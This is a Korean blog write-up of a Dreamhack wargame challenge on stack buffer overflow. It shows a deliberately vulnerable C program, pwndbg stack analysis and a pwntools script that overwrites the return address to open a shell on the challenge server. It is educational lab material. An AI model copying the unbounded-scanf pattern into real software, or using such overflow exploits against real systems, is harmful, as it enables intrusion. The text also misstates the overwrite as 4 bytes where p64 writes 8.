본문 바로가기
wargame/시스템해킹

[level 1]Return Address Overwrite

by 이보름 받침대 2025. 10. 28.

https://dreamhack.io/wargame/challenges/351/

 

Return Address Overwrite

DescriptionExploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

dreamhack.io

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

소스코드가 위와 같다

 

우선 get_shell 의 위치를 찾는다.

0x4006aa 라고 한다.

pwndbg> disass get_shell
Dump of assembler code for function get_shell:
   0x00000000004006aa <+0>:     push   rbp
   0x00000000004006ab <+1>:     mov    rbp,rsp
   0x00000000004006ae <+4>:     sub    rsp,0x20
   0x00000000004006b2 <+8>:     lea    rax,[rip+0xfb]        # 0x4007b4
   0x00000000004006b9 <+15>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bd <+19>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004006c1 <+23>:    mov    QWORD PTR [rbp-0x20],rax
   0x00000000004006c5 <+27>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004006cd <+35>:    lea    rcx,[rbp-0x20]
   0x00000000004006d1 <+39>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004006d5 <+43>:    mov    edx,0x0
   0x00000000004006da <+48>:    mov    rsi,rcx
   0x00000000004006dd <+51>:    mov    rdi,rax
   0x00000000004006e0 <+54>:    call   0x400550 <execve@plt>
   0x00000000004006e5 <+59>:    nop
   0x00000000004006e6 <+60>:    leave
   0x00000000004006e7 <+61>:    ret
End of assembler dump.

 

이후 프로그램을 실행하는데 버퍼의 크기가 0x28 이니까 십진수로 40바이트이다. 그래서 a를 41 개 적어서 전달해봤다.

pwndbg> r
Starting program: /mnt/c/Users/mamim/dreamhack/return-address-overwite/rao
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x0000000000400723 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────
 RAX  1
 RBX  0
 RCX  0x7ffff7fa6aa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
 RDX  0
 RDI  0x7fffffffd620 ◂— 0xffffd6b0
 RSI  0xa
 R8   0
 R9   0x7ffff7fc9040 (_dl_fini) ◂— endbr64
 R10  0xffffffffffffff80
 R11  0
 R12  0x7fffffffdca8 —▸ 0x7fffffffdeec ◂— '/mnt/c/Users/mamim/dreamhack/return-address-overwite/rao'
 R13  0x4006e8 (main) ◂— push rbp
 R14  0
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 RBP  0x7fffffffdb90 ◂— 1
 RSP  0x7fffffffdb60 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
 RIP  0x400723 (main+59) ◂— mov eax, 0
────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────
 ► 0x400723       <main+59>                       mov    eax, 0     EAX => 0
   0x400728       <main+64>                       leave
   0x400729       <main+65>                       ret                                <__libc_start_call_main+128>
    ↓
   0x7ffff7db5d90 <__libc_start_call_main+128>    mov    edi, eax     EDI => 0
   0x7ffff7db5d92 <__libc_start_call_main+130>    call   exit                        <exit>

   0x7ffff7db5d97 <__libc_start_call_main+135>    call   __nptl_deallocate_tsd       <__nptl_deallocate_tsd>

   0x7ffff7db5d9c <__libc_start_call_main+140>    lock dec dword ptr [rip + 0x1f0505]
   0x7ffff7db5da3 <__libc_start_call_main+147>    sete   al
   0x7ffff7db5da6 <__libc_start_call_main+150>    test   al, al
   0x7ffff7db5da8 <__libc_start_call_main+152>    jne    __libc_start_call_main+168  <__libc_start_call_main+168>

   0x7ffff7db5daa <__libc_start_call_main+154>    mov    edx, 0x3c     EDX => 0x3c
──────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdb60 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓        4 skipped
05:0028│-008 0x7fffffffdb88 —▸ 0x400500 ◂— 0x600000007
06:0030│ rbp 0x7fffffffdb90 ◂— 1
07:0038│+008 0x7fffffffdb98 —▸ 0x7ffff7db5d90 (__libc_start_call_main+128) ◂— mov edi, eax
────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
 ► 0         0x400723 main+59
   1   0x7ffff7db5d90 __libc_start_call_main+128
   2   0x7ffff7db5e40 __libc_start_main+128
   3         0x4005aa _start+42
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

 

rsp 에 a가 저장이 되고 있다.

 

pwndbg> x/16x $rsp
0x7fffffffdb60: 0x61616161      0x61616161      0x61616161      0x61616161
0x7fffffffdb70: 0x61616161      0x61616161      0x61616161      0x61616161
0x7fffffffdb80: 0x61616161      0x61616161      0x00400500      0x00000000
0x7fffffffdb90: 0x00000001      0x00000000      0xf7db5d90      0x00007fff

 

함수 프롤로그로 인해

 

buf + padding 

saved rbp (이전 스택 프레임의 rbp)

return address (main 이 끝나고 돌아갈 rip)

 

로 구성되는데 0x7f..fdb60 부터 a 가 깔려있고, 

0x7f..fdb90 부근부터는 a가 없이 정상적인 값이 들어있다.

 

그러니까 db90 부터는 버퍼가 아니라 save rbp/return address 같은 중요영역이 있는 것이다.

 

db90 - db60 하면 0x30 이고 이는 48 byte를 의미한다.

 

 

노란색 부분이 buf+padding

초록색 부분이 saved rbp

파란색이 return address 이므로 총 48+8 하여 56바이트를 쓰레기로 채우고 마지막 4바이트를 shell 함수의 주소인 0x4006aa 로 채우면 된다.

 

hayeon@LAPTOP-T4MLNMBF:/mnt/c/Users/mamim/dreamhack/return-address-overwite$ cat solution.py
from pwn import *

conn = remote('host1.dreamhack.games', 15624)

conn.recvuntil(b'Input: ')

payload = b'a'*56 + p64(0x4006aa)
conn.sendline(payload)

conn.interactive()

 

 

'wargame > 시스템해킹' 카테고리의 다른 글

[level 2]basic_exploitation_000  (0) 2025.10.29
[level 1]basic_exploitation_001  (0) 2025.10.28
[level 1] Exercise: GDB  (0) 2025.10.28
[beginner] baby-bof  (0) 2025.09.05
[beginner] bof  (0) 2025.09.04